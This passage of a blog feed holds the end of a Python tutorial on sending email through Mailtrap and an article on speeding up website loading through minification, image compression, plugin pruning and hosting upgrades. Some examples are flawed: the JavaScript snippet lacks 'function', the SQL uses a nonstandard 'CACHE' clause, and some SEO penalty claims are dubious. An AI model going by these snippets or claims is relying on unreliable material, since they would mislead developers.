    to=[mt.Address(email=<span class="hljs-string">"your@email.com"</span>)],  <span class="hljs-comment"># Recipient info</span>
    subject=<span class="hljs-string">"You are awesome!"</span>,  <span class="hljs-comment"># Email subject</span>
    text=<span class="hljs-string">"Congrats for sending a test email with Mailtrap!"</span>  <span class="hljs-comment"># Email content (plain text)</span>
)

<span class="hljs-comment"># Create a client using your API key</span>
client = mt.MailtrapClient(token=<span class="hljs-string">"your-api-key"</span>)

<span class="hljs-comment"># Send the email</span>
client.send(mail)
</code></pre>
<p><strong>Quick notes:</strong></p>
<ul>
<li><p><strong>Sender and recipient</strong>: You need to specify the sender’s email address, which must match your verified domain. Similarly, define the recipient's email.</p>
</li>
<li><p><strong>Subject and text content</strong>: Set the subject and plain text content of the email. You can also add HTML content as I'll cover later.</p>
</li>
<li><p><strong>Client and sending</strong>: The ‘MailtrapClient’ is initialized with your Mailtrap API token, which authenticates the API request. The ‘send’ method is then called on the client, passing the ‘mail’ object.</p>
</li>
</ul>
<p>To create the client using the Mailtrap API token, take the following path within Mailtrap:<br><strong>Settings</strong> &gt; <strong>API Tokens</strong> &gt; <strong>Add Token</strong> </p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeLlNbf0Uiub9YYVxcfiNsZL6_uNHKfuO4dW6ZZGXWEGkF7X4mw82KMsrAWX4hA_u_jYqi1G8aoh1-vOnxKjdXKackVG8HdrsyfHulzaIJVMrMcxmZvllXcNOXVxG7hFOJXgl2VBw?key=CJmzmKUWxlFjIw3A041wXvaj" alt="Add API tokens" width="1600" height="560" loading="lazy"></p>
<p>With that, you can use the following command to send emails:</p>
<pre><code class="lang-python"><span class="hljs-comment"># create client and send</span>
client = mt.MailtrapClient(token=<span class="hljs-string">"your-api-key"</span>)
client.send(mail)
</code></pre>
<p>Finally, here’s the SDK script for sending a bare-bones ‘plaintext’ email via Python SDK.</p>
<pre><code class="lang-python"> <span class="hljs-keyword">from</span> mailtrap <span class="hljs-keyword">import</span> Mail, Address, MailtrapClient

<span class="hljs-comment"># Create a Mail object with basic details for a plain text email</span>
mail = Mail(
    <span class="hljs-comment"># Specify the sender's email address and optional name</span>
    sender=Address(email=<span class="hljs-string">"mailtrap@example.com"</span>, name=<span class="hljs-string">"Mailtrap Test"</span>),
    <span class="hljs-comment"># Specify one or more recipients; here we use a list with a single recipient</span>
    to=[Address(email=<span class="hljs-string">"your@email.com"</span>, name=<span class="hljs-string">"Your Name"</span>)],
    <span class="hljs-comment"># Subject of the email</span>
    subject=<span class="hljs-string">"Simple Plain Text Email"</span>,
    <span class="hljs-comment"># The plain text content of the email</span>
    text=<span class="hljs-string">"This is a plain text email sent using the Mailtrap SDK. Simple and straightforward."</span>,
    <span class="hljs-comment"># Optional: categorize this email for easier sorting or management in the Mailtrap service</span>
    category=<span class="hljs-string">"Test"</span>,
    <span class="hljs-comment"># Optional: Additional headers can be specified, but are not required for plain text emails</span>
    headers={<span class="hljs-string">"X-Example-Header"</span>: <span class="hljs-string">"HeaderValue"</span>}
)

<span class="hljs-comment"># Initialize the MailtrapClient with your API token</span>
client = MailtrapClient(token=<span class="hljs-string">"your-api-key"</span>)

<span class="hljs-comment"># Send the email using the client's send method</span>
client.send(mail)

print(<span class="hljs-string">"Plain text email sent successfully."</span>)
</code></pre>
<p><strong>In the script</strong>:</p>
<ul>
<li><p>The imported classes include ‘MailtrapClient’, ‘Mail’, and ‘Address’ because I’m sending a plain text message. </p>
</li>
<li><p>The ‘Mail’ object contains:</p>
<ul>
<li><p>‘Mail’ constructor to create the object.</p>
</li>
<li><p>‘Sender’ which uses ‘Address’ class to define the name and email of the sender.</p>
</li>
<li><p>‘to’ which is typically an ‘Address’ objects list, but since this is a plain text email, it usually has direct recipients instead of the list. </p>
</li>
<li><p>‘subject’ which is the subject of the email. </p>
</li>
<li><p>‘text’ which contains the email content (in ‘plaintext’)</p>
</li>
<li><p>‘headers’ and ‘category’ which are optional fields that help better manage your emails. </p>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>The email sending flow:</p>
<ul>
<li><p>‘MailtrapClient’ gets created and authenticated via the API token. </p>
</li>
<li><p>The ‘MailtrapClient’ ‘send’ method gets called and passes the ‘mail’ object as an email-sending argument.  </p>
</li>
<li><p>The “Plain text email sent successfully.” message gets printed to confirm the action. </p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-refactor-the-script-to-include-html-and-attachments">Refactor the script to include HTML and attachments</h3>
<p>Again, it’s pretty straightforward to refactor the script using the ‘MIMEMultipart’ class for more complex email structures. </p>
<p>Here’s the refactored code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> mailtrap <span class="hljs-keyword">as</span> mt
<span class="hljs-keyword">from</span> email.mime.multipart <span class="hljs-keyword">import</span> MIMEMultipart
<span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText

<span class="hljs-comment"># Create a multipart email message</span>
message = MIMEMultipart()
message[<span class="hljs-string">"Subject"</span>] = <span class="hljs-string">"HTML Email"</span>

<span class="hljs-comment"># Plain text version (for email clients that don't support HTML)</span>
message.attach(MIMEText(<span class="hljs-string">"This is the plain text version."</span>, <span class="hljs-string">"plain"</span>))

<span class="hljs-comment"># HTML version</span>
html_content = <span class="hljs-string">"""\
&lt;html&gt;
  &lt;body&gt;
    &lt;h1&gt;Welcome to Mailtrap!&lt;/h1&gt;
    &lt;p&gt;This is an HTML email with some &lt;b&gt;bold text&lt;/b&gt; and a &lt;a href="https://example.com"&gt;link&lt;/a&gt;.&lt;/p&gt;
  &lt;/body&gt;
&lt;/html&gt;
"""</span>
message.attach(MIMEText(html_content, <span class="hljs-string">"html"</span>))

client = mt.MailtrapClient(token=<span class="hljs-string">"your-api-key"</span>)

<span class="hljs-comment"># Now send the email with Mailtrap's API</span>
mail = mt.Mail(
    sender=mt.Address(email=<span class="hljs-string">"mailtrap@example.com"</span>, name=<span class="hljs-string">"Mailtrap Test"</span>),
    to=[mt.Address(email=<span class="hljs-string">"your@email.com"</span>)],
    subject=<span class="hljs-string">"You are awesome!"</span>,
    html=message.as_string()  <span class="hljs-comment"># Pass the HTML content as a string</span>
)
client.send(mail)
</code></pre>
<h3 id="heading-environmental-setup-for-production">Environmental setup for production</h3>
<p>Before I dive into the details, I’d like to remind you of security best practices:</p>
<ol>
<li><p><strong>Securely store API keys and credentials</strong>: On production, never hardcode sensitive data like API keys, email login credentials, or other secrets directly into your source code. Doing so exposes your application.</p>
</li>
<li><p><strong>Use environment variables</strong>: By doing this, you can keep your credentials safe and easily switch between different configurations (like dev, staging, and production). </p>
</li>
</ol>
<p>Now, here’s how to set it all up:</p>
<ol>
<li><p>Use the ‘python-dotenv’ package to load environment variables from a ‘.env’ file. Install the lib with the following command:</p>
<pre><code class="lang-python"> pip install python-dotenv
</code></pre>
</li>
</ol>
<ol start="2">
<li><p>Create a ‘.env’ file in the root of your project to store your environment variables securely. This file will contain sensitive information, such as your Mailtrap API key, login credentials, and SMTP server details. Here’s an example:</p>
<pre><code class="lang-python"> SMTP_SERVER=smtp.mailtrap.io
 SMTP_PORT=<span class="hljs-number">587</span>
 SMTP_LOGIN=your_mailtrap_login
 SMTP_PASSWORD=your_mailtrap_password
 MAILTRAP_API_KEY=your_mailtrap_api_key
</code></pre>
</li>
</ol>
<p><strong>Important note</strong>: Ensure this ‘.env’ file is never pushed to version control (like Git). Add it to your ‘.gitignore’ to avoid accidental exposure.</p>
<ol start="3">
<li><p>Once you've created your ‘.env’ file, you need to load the variables into your Python script. At the top of your script, import the ‘dotenv’ package and call ‘load_dotenv()’ to load the environment variables.</p>
<pre><code class="lang-python"> <span class="hljs-keyword">from</span> dotenv <span class="hljs-keyword">import</span> load_dotenv
 <span class="hljs-keyword">import</span> os

 <span class="hljs-comment"># Load environment variables from the .env file</span>
 load_dotenv()

 <span class="hljs-comment"># Retrieve environment variables securely</span>
 smtp_server = os.getenv(<span class="hljs-string">"SMTP_SERVER"</span>)
 smtp_port = os.getenv(<span class="hljs-string">"SMTP_PORT"</span>)
 smtp_login = os.getenv(<span class="hljs-string">"SMTP_LOGIN"</span>)
 smtp_password = os.getenv(<span class="hljs-string">"SMTP_PASSWORD"</span>)
 mailtrap_api_key = os.getenv(<span class="hljs-string">"MAILTRAP_API_KEY"</span>)
</code></pre>
</li>
</ol>
<ol start="4">
<li><p>With the environment variables loaded, you can replace the hardcoded credentials in the script with these environment variables. Here’s an example:</p>
<pre><code class="lang-python"> <span class="hljs-keyword">import</span> smtplib
 <span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText
 <span class="hljs-keyword">from</span> dotenv <span class="hljs-keyword">import</span> load_dotenv
 <span class="hljs-keyword">import</span> os

 <span class="hljs-comment"># Load environment variables</span>
 load_dotenv()

 <span class="hljs-comment"># Fetching SMTP credentials from environment variables</span>
 smtp_server = os.getenv(<span class="hljs-string">"SMTP_SERVER"</span>)
 smtp_port = os.getenv(<span class="hljs-string">"SMTP_PORT"</span>)
 smtp_login = os.getenv(<span class="hljs-string">"SMTP_LOGIN"</span>)
 smtp_password = os.getenv(<span class="hljs-string">"SMTP_PASSWORD"</span>)

 sender_email = <span class="hljs-string">"mailtrap@example.com"</span>
 receiver_email = <span class="hljs-string">"new@example.com"</span>
 subject = <span class="hljs-string">"Plain text email"</span>
 text = <span class="hljs-string">"""\
 Hi,
 Check out the new post on the Mailtrap blog:
 https://blog.mailtrap.io/2018/09/27/cloud-or-local-smtp-server/
 """</span>

 <span class="hljs-comment"># Create MIMEText object</span>
 message = MIMEText(text, <span class="hljs-string">"plain"</span>)
 message[<span class="hljs-string">"Subject"</span>] = subject
 message[<span class="hljs-string">"From"</span>] = sender_email
 message[<span class="hljs-string">"To"</span>] = receiver_email

 <span class="hljs-comment"># Send email using environment variables</span>
 <span class="hljs-keyword">with</span> smtplib.SMTP(smtp_server, smtp_port) <span class="hljs-keyword">as</span> server:
     server.starttls()  <span class="hljs-comment"># Secure the connection</span>
     server.login(smtp_login, smtp_password)
     server.sendmail(sender_email, receiver_email, message.as_string())

 print(<span class="hljs-string">"Email sent successfully!"</span>)
</code></pre>
</li>
</ol>
<h4 id="heading-pro-tips">Pro tips:</h4>
<p>First, ensure your environment variables are only accessible to authorized users. On a production server, this typically means only allowing access to the environment variables through the deployment configuration (for example, through Heroku’s config vars, AWS Secrets Manager, or other cloud-based secret management tools).</p>
<p>Second, use different environment variables for development, staging, and production. This ensures that your production environment is isolated and secured from the rest of your development process.</p>
<p>Once your environment variables are configured locally, deploy your application to a production environment. Make sure to set the same environment variables in your production server or service.</p>
<p>If you're deploying to platforms like Heroku, AWS, or Google Cloud, you can use their environment variable management tools to securely store and access your secrets without having to manage a ‘.env’ file manually.</p>
<h2 id="heading-wrapping-up">Wrapping up</h2>
<p>This quick tutorial provides more than enough to get started with sending emails in Python. And note that the scripts featured above can be extended to include HTML, multiple recipients, attachments, images, and so on. </p>
<p>If you’re interested in that and more security tips and best practices, you can check out the Mailtrap blog for more detailed tutorials.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Speed Up Website Loading by Removing Extra Bits and Bytes ]]>
                </title>
                <description>
                    <![CDATA[ Let’s start with an interesting fact: according to research done by Akamai, a 1-second delay in loading a website’s page can decrease the conversion rate by 7%. We are currently living in a fast-paced world, where time is money for everyone. People e... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/speed-up-website-loading/</link>
                <guid isPermaLink="false">67bca6f616cf4617f656a33f</guid>
                
                    <category>
                        <![CDATA[ code optimization ]]>
                    </category>
                
                    <category>
                        <![CDATA[ server ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hosting ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Google PageSpeed ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cloudflare ]]>
                    </category>
                
                    <category>
                        <![CDATA[ performance ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Mon, 24 Feb 2025 17:05:58 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1740094347867/d1097d7b-776f-4228-8088-7726b827271f.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Let’s start with an interesting fact: according to research done by <a target="_blank" href="https://www.akamai.com/newsroom/press-release/akamai-releases-spring-2017-state-of-online-retail-performance-report">Akamai</a>, a 1-second delay in loading a website’s page can decrease the conversion rate by 7%.</p>
<p>We are currently living in a fast-paced world, where time is money for everyone. People expect their favorite websites to load lightning-fast. A slow loading speed will not only make them go to the competitor but will also hurt the <a target="_blank" href="https://www.freecodecamp.org/news/how-to-use-on-page-seo-techniques-to-rank-on-the-first-page/">website's ranking</a> in the SERP.</p>
<p>But the main question is, who’s the culprit? Those extra bits and bytes that almost every site contains. These are unnecessary code files, unoptimized images, and many more. But by following the right approach, you can easily strip away these inefficiencies and achieve excellent loading speed.</p>
<p>In this article, I will be discussing that approach in detail, so stick around with me till the very end.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-why-does-loading-speed-matter">Why Does Loading Speed Matter?</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-google-ranking-factor">Google Ranking Factor</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-impact-on-user-experience">Impact on User Experience</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-negative-brand-perception">Negative Brand Perception</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-retaining-mobile-users">Retaining Mobile Users</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-remove-extra-bits-amp-bytes-from-the-website-different-strategies">How to Remove Extra Bits &amp; Bytes from the Website – Different Strategies</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-perform-code-optimization">Perform Code Optimization</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-image-amp-media-optimization">Image &amp; Media Optimization</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-manage-plugins-amp-scripts">Manage Plugins &amp; Scripts</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-server-amp-hosting-upgrades">Server &amp; Hosting Upgrades</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-tools-that-you-can-use-to-streamline-the-process">Tools That You Can Use to Streamline the Process</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-minifierhttpswwwminifierorg">Minifier</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-tinypnghttpstinypngcom">TinyPNG</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-png-to-webp-converterhttpscloudconvertcompng-to-webp">PNG to WebP Converter</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-google-pagespeed-insighthttpspagespeedwebdev">Google PageSpeed Insight</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-cloudflarehttpswwwcloudflarecom">Cloudflare</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-wrapping-up">Wrapping Up</a></p>
</li>
</ul>
<h2 id="heading-why-does-loading-speed-matter">Why Does Loading Speed Matter?</h2>
<p>There are several reasons why the loading speed of a website is considered essential. Here are some of the major ones.</p>
<ol>
<li><h3 id="heading-google-ranking-factor">Google Ranking Factor:</h3>
</li>
</ol>
<p>Website loading speed is a confirmed ranking factor. This means that search engines like Google definitely consider the loading time when evaluating a website’s quality. Usually, the <a target="_blank" href="https://sematext.com/glossary/page-load-time/">ideal loading speed</a> is between 0 and 2 seconds. However, 3 seconds is also sometimes acceptable.</p>
<p>In case your site does not fulfill this criteria, then there is a high probability that it may receive a penalty from Google. This will result in lower rankings in the targeted niche – which no webmaster or business wants.</p>
<ol start="2">
<li><h3 id="heading-impact-on-user-experience">Impact on User Experience:</h3>
</li>
</ol>
<p>A slow loading speed is capable of single-handedly destroying the entire user experience. When the website does not load quickly in front of the visitor, they may close it and move on to another site to find the required information, product, or service.</p>
<p>This will decrease the number of user engagements and increase the overall bounce rate of the site. And a high bounce rate increases the chances of facing a penalty from Google.</p>
<ol start="3">
<li><h3 id="heading-negative-brand-perception">Negative Brand Perception:</h3>
</li>
</ol>
<p>For online businesses or brands, their authority and image are everything. When their official site takes too much time to load, it ultimately damages the brand’s perception or credibility in their minds. They will think about how you can deliver a top-notch service or product when you aren’t able to properly manage a website.</p>
<p>This negative impression will not only reduce customer engagement but also conversions.</p>
<ol start="4">
<li><h3 id="heading-retaining-mobile-users">Retaining Mobile Users:</h3>
</li>
</ol>
<p>Mobile contributes to <a target="_blank" href="https://www.mobiloud.com/blog/what-percentage-of-internet-traffic-is-mobile">58% of the global internet traffic</a>. It is also true mobile networks often have slow internet speed issues as compared to Wi-Fi. This can be especially true for people living in rural areas. So, that’s why you should always prioritize loading speed to efficiently retain mobile users.</p>
<h2 id="heading-how-to-remove-extra-bits-amp-bytes-from-the-website-different-strategies">How to Remove Extra Bits &amp; Bytes from the Website – Different Strategies</h2>
<p>Here are some of the most proven strategies you can utilize to remove extra bits and bytes from your websites.</p>
<ol>
<li><h3 id="heading-perform-code-optimization">Perform Code Optimization:</h3>
</li>
</ol>
<p>Excessive HTML, CSS, and JavaScript can greatly slow down a website. Due to the large code file, the host server will have to transfer more packets to the client browser, ultimately resulting in slow loading.</p>
<p>To resolve this issue, it is always recommended to perform code optimization. The most widely known and used technique for this purpose is minification. It refers to the process of removing all the:</p>
<ul>
<li><p>Unnecessary characters</p>
</li>
<li><p>White spaces</p>
</li>
<li><p>Line breaks</p>
</li>
<li><p>Comments</p>
</li>
<li><p>Unused elements.</p>
</li>
</ul>
<p>But you’ll want to make sure that the code works as before, even after minification.</p>
<p>Optimizing code boosts application performance by reducing execution time and resource consumption. Refactor inefficient loops, minimize database queries, and leverage caching to enhance speed. You can use profiling tools to identify bottlenecks and streamline functions for smoother, faster performance.</p>
<p>To demonstrate better, below I have discussed an example:</p>
<p><strong>Unoptimized JavaScript Code:</strong></p>
<pre><code class="lang-javascript">greet(name) {
    <span class="hljs-keyword">if</span> (!name) {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Hello, Guest!"</span>);
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Hello, "</span> + name + <span class="hljs-string">"!"</span>);
    }
}
greet(<span class="hljs-string">"John"</span>);
</code></pre>
<p><strong>Minified Version:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">greet</span>(<span class="hljs-params">n</span>)</span>{<span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Hello, "</span>+(n||<span class="hljs-string">"Guest"</span>)+<span class="hljs-string">"!"</span>)}greet(<span class="hljs-string">"John"</span>);
</code></pre>
<p>As you can see, I created the minified version by removing all the line breaks and whitespaces. Apart from this, I used shortened variables, like “<strong>n</strong>” instead of “<strong>Name</strong>.” Finally, I also replaced the If Else statement with a shorter n || "Guest" expression.</p>
<p>This is how you can easily condense the entire HTML, CSS, and JavaScript code of your website, and enhance the overall loading speed.</p>
<p>Just keep in mind that there are multiple downsides of code minification. For instance, it significantly impacts code readability and can cause challenges in debugging and maintenance. So use this approach judiciously.</p>
<ol start="2">
<li><h3 id="heading-image-amp-media-optimization">Image &amp; Media Optimization:</h3>
</li>
</ol>
<p>Apart from code, unoptimized images, <a target="_blank" href="https://logocreator.io/blog/logo-file-formats/">logo files</a> and other media files are often the main culprits behind the slow <a target="_blank" href="https://www.freecodecamp.org/news/developers-guide-to-website-speed-optimization/">loading speed</a> of a website. This means that you also need to optimize them as well. There are numerous things you can do in this regard.</p>
<p>First of all – you should reduce the image size in terms of storage. It is generally recommended that each <a target="_blank" href="https://www.foregroundweb.com/image-size/">picture should be less than 500 KB in size</a>. But note that this size can vary depending on the use case.</p>
<p>It’s also a good idea to choose next-generation picture formats like WebP instead of typical ones like JPEG or PNG. When it comes to video files, it’s also helpful if you go with the embedded ones from platforms like YouTube.</p>
<p><strong>Now, let us explain all this with a proper example (Before &amp; After).</strong></p>
<p>Let’s say that a website uses a 2MB JPEG image for its blog post. Its optimization process will involve the following steps:</p>
<ul>
<li><p>Resize the image first. The recommended dimensions are 1200x800.</p>
</li>
<li><p>Compress the image size using image compression tools (we’ll discuss one such tool later in this article)</p>
</li>
<li><p>Now, convert the JPEG file into WebP format.</p>
</li>
<li><p>Add alternative text before publishing</p>
</li>
</ul>
<p><strong>After optimization:</strong></p>
<ul>
<li><p>The image file size will now be reduced to KBS somewhere around 120Kb.</p>
</li>
<li><p>Your website will experience better loading speed as well as an improved user experience.</p>
</li>
</ul>
<p>One more tip that you can consider is <a target="_blank" href="https://www.freecodecamp.org/news/how-lazy-loading-works-in-web-development/">lazy loading</a>. This means only loading the images and videos when they are about to be consumed.</p>
<p>By taking care of these few things, you can efficiently optimize images and media files to achieve faster loading speeds.</p>
<ol start="3">
<li><h3 id="heading-manage-plugins-amp-scripts">Manage Plugins &amp; Scripts:</h3>
</li>
</ol>
<p>Your website may contain unused plugins and scripts that can cause bloat. So, to remove the extra bits and bytes, it is essential to perform regular check-ins.</p>
<p>First, make sure you deactivate and delete all the plugins that aren’t needed. Then, start exploring more lightweight alternatives for plugins that you are actively using. If you find any, go for them and uninstall the bulky ones to improve performance and enhance security, especially for processes like identity verification. Ensure you’re using the latest, most optimized version..</p>
<p>For example, Revolution Slider is a heavy plugin. It loads large scripts and images on every page, even when not needed. This ultimately affects the overall website speed. Some of its lightweight alternatives that you might consider for this include <a target="_blank" href="https://smartslider3.com/">Smart Slider 3</a>, or any other CSS-based slider.</p>
<p>Next comes script management. Here you should first limit any third-party scripts, such as excessive code tracking, social media widgets, and embedded content. Apart from this, don’t forget to totally disable scripts on the pages where they aren’t required.</p>
<p>One useful example here is Google Analytics which loads tracking scripts on every page, increasing the request time. To fix this issue, you can use <a target="_blank" href="https://tagmanager.google.com/">Google Tag Manager</a> to load the scripts only when they are needed.</p>
<p>Additionally, you can use <a target="_blank" href="https://www.blaze.tech/post/no-code-automation-how-to-streamline-your-business-now">no-code workflow automation tools</a> like Zapier, Make, or Uncanny Automator which help streamline processes by reducing reliance on heavy plugins and scripts.</p>
<ol start="4">
<li><h3 id="heading-server-amp-hosting-upgrades">Server &amp; Hosting Upgrades:</h3>
</li>
</ol>
<p>This is the final strategy that you can consider. Your hosting provider plays a key role in deciding the loading speed of the website. So, it’s a good idea to upgrade your hosting plan and get it from a reputable and credible service.</p>
<p>Also, do not forget to enable server-side compression. Doing so will automatically reduce the file sizes before transmission. Optimizing database performance is equally crucial, as <a target="_blank" href="https://www.liquibase.com/resources/guides/database-observability">database observability enables database pipeline analytics</a>, helping to identify inefficiencies, reduce query execution time, and enhance overall site responsiveness.</p>
<p>Also, take steps to optimize the database queries. You can do this by removing unnecessary data while also caching data mechanisms. There are also specialized plugins available for this like <a target="_blank" href="https://wordpress.org/plugins/wp-optimize/">WP-Optimize</a>. It effectively cleans up all the unnecessary data saving valuable time and effort.</p>
<p>You should also start caching queries. Store all the frequent ones in memory. This will significantly reduce database load.</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> products <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">category</span> = <span class="hljs-string">'Laptops'</span> <span class="hljs-keyword">CACHE</span>;
</code></pre>
<p>This prevents the server from re-executing the same query repeatedly.</p>
<p>So, these are some of the proven strategies you can apply to eliminate additional bits &amp; bytes from the website to achieve faster loading.</p>
<h2 id="heading-tools-that-you-can-use-to-streamline-the-process">Tools That You Can Use to Streamline the Process</h2>
<p>To simplify the process of optimizing website loading speed, you can consider utilizing the following tools.</p>
<ol>
<li><h3 id="heading-minifierhttpswwwminifierorg"><a target="_blank" href="https://www.minifier.org/">Minifier</a></h3>
</li>
</ol>
<p>First of all, we have Minifier, a dedicated tool that is specifically designed to automate the code minification process with a single click. It is available for free and works for HTML, CSS, and JavaScript codes.</p>
<p>Besides this, the tool features a user-intuitive interface so that you can quickly navigate through it. The minifier is trained according to both development and minification to ensure maximum speed and accuracy in the output.</p>
<p>All you need to do is either paste or upload the code file into the tool, hit the “<strong>Minify</strong>” button, and get a condensed version. You can check out the below screenshot to get a better idea how it works.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcu5gaAosAaUCZQ7oIp3J_m_CIEyAshp2Ob6rmguvQOQvxuuz6rXJ1QdO_FSD_McnO1S-fkqv38cY7B0e4s5xBtjNa78mVns2VZRe3iUemWxR-dKgct9-OJkb6YIO2fTkhB_W3If4DYj6hb2vnzknY?key=W-8S2j9mlTlf7KW39H_m9bHu" alt="Screenshot showing Minify result" width="600" height="400" loading="lazy"></p>
<p>Minify also offers a wide variety of other useful tools you can use if needed. Some notable options include JSON minifier and XML formatter, among others.</p>
<p>So now there is no need to spend time and effort on manually minifying your code for better loading speed. You can just use this tool and get the job done with a single click.</p>
<ol start="2">
<li><h3 id="heading-tinypnghttpstinypngcom"><a target="_blank" href="https://tinypng.com/">TinyPNG</a></h3>
</li>
</ol>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXckb9b-_Pfw-T4icivrTC6g_pnhjpu3BSK0s-7ussuhsRRY22qGNe8DAyUINv8GgGQ5DmY579muEPcGkCjRsbSZofP9XZ1y3xqPBYriFDyh_2vl6yWM4fNYBKaA7k5Jx05pRjjw3ShVU3tT3JjeHwM?key=W-8S2j9mlTlf7KW39H_m9bHu" alt="AD_4nXckb9b-_Pfw-T4icivrTC6g_pnhjpu3BSK0s-7ussuhsRRY22qGNe8DAyUINv8GgGQ5DmY579muEPcGkCjRsbSZofP9XZ1y3xqPBYriFDyh_2vl6yWM4fNYBKaA7k5Jx05pRjjw3ShVU3tT3JjeHwM?key=W-8S2j9mlTlf7KW39H_m9bHu" width="600" height="400" loading="lazy"></p>
<p>Many of you may have heard of or even used this tool. It is an image compression tool that will help you effectively reduce your image sizes for optimization. The good thing is that TinyPNG perfectly preserves the original quality of the picture (in terms of resolution) even after the compression.</p>
<p>All you need to do is upload the required photo from your local storage, and the tool will automatically provide a compressed version. Don’t worry about the file format, as TinyPNG supports JPG, PNG, JPEG, and many more.</p>
<p>The tool even provides the percentage of how much the uploaded image was compressed, like -51%, and so on. It also mentions the size of the compressed photo in terms of KBs. So, in case you are not satisfied with the file size, you can further compress it.</p>
<ol start="3">
<li><h3 id="heading-png-to-webp-converterhttpscloudconvertcompng-to-webp"><a target="_blank" href="https://cloudconvert.com/png-to-webp">PNG to WebP Converter</a>:</h3>
</li>
</ol>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcSaBUNNRRqk5A4EetHdg1CK1P6F-Ro213s3DnifuZZFF24BNJZHsP_qXjVe1rn72iPH2jZd707JRsOSIUe7PzEAH7jE0ccacHXaEbqJ0YDILtM4K4gF5IYao0wOpJ13jw-xNOzrKaJiRP926kjqQ?key=W-8S2j9mlTlf7KW39H_m9bHu" alt="AD_4nXcSaBUNNRRqk5A4EetHdg1CK1P6F-Ro213s3DnifuZZFF24BNJZHsP_qXjVe1rn72iPH2jZd707JRsOSIUe7PzEAH7jE0ccacHXaEbqJ0YDILtM4K4gF5IYao0wOpJ13jw-xNOzrKaJiRP926kjqQ?key=W-8S2j9mlTlf7KW39H_m9bHu" width="600" height="400" loading="lazy"></p>
<p>As I mentioned earlier, I recommend using next-gen image formats like WebP instead of older formats when possible. Usually, the widely used format is PNG, but to seamlessly convert into WebP, you can use this PNG to WebP converter.</p>
<p>It’s available for free and does not ask for registration/signup. Simply visit the page and start performing conversions. The conversion is performed without causing any damage to the image’s quality and formatting.</p>
<p>The tool also offers many extra features. For instance, you can adjust both the image’s width and height. You can also set image quality (WebP compression level) if required. And it doesn’t stop here – you can even select the right fit for the photo from the following options:</p>
<ul>
<li><p>Max</p>
</li>
<li><p>Crop</p>
</li>
<li><p>Scale</p>
</li>
</ul>
<ol start="4">
<li><h3 id="heading-google-pagespeed-insighthttpspagespeedwebdev"><a target="_blank" href="https://pagespeed.web.dev/">Google PageSpeed Insight</a></h3>
</li>
</ol>
<p>How can you enhance the loading speed of the website when you don’t even know which elements are causing issues? For this purpose, Google PageSpeed Insight is the best solution. It is developed and managed by Google.</p>
<p>The tool effectively crawls the given page link and highlights all the issues that are causing slow loading. It even provides four different scores (0-100) for evaluation. These include:</p>
<ul>
<li><p>Performance</p>
</li>
<li><p>Accessibility</p>
</li>
<li><p>Best Practices</p>
</li>
<li><p>SEO</p>
</li>
</ul>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXet-k73bv-y0HQXbGHfrcntmms8k_nQvcrrADNI3w9cBrFKGv9CAkMSEdOCWHFVyuRQxVXaUseYQxIa_2GA9Hl7TzDGSSO_vZqZliiX32ZNdkvoQZYhCf4i3PyKtGHOzk8pwqZ6O-gZRCwPC3gzBt0?key=W-8S2j9mlTlf7KW39H_m9bHu" alt="AD_4nXet-k73bv-y0HQXbGHfrcntmms8k_nQvcrrADNI3w9cBrFKGv9CAkMSEdOCWHFVyuRQxVXaUseYQxIa_2GA9Hl7TzDGSSO_vZqZliiX32ZNdkvoQZYhCf4i3PyKtGHOzk8pwqZ6O-gZRCwPC3gzBt0?key=W-8S2j9mlTlf7KW39H_m9bHu" width="600" height="400" loading="lazy"></p>
<p>The good thing is that Google PageSpeed Insights evaluates the page for both mobile and desktop users. The results are also provided separately. The areas of improvement are highlighted in red, along with the necessary instructions you can take. The good parts are marked with green.</p>
<p>By utilizing this tool, you can easily evaluate your website and then make efforts to improve the loading speed.</p>
<ol start="5">
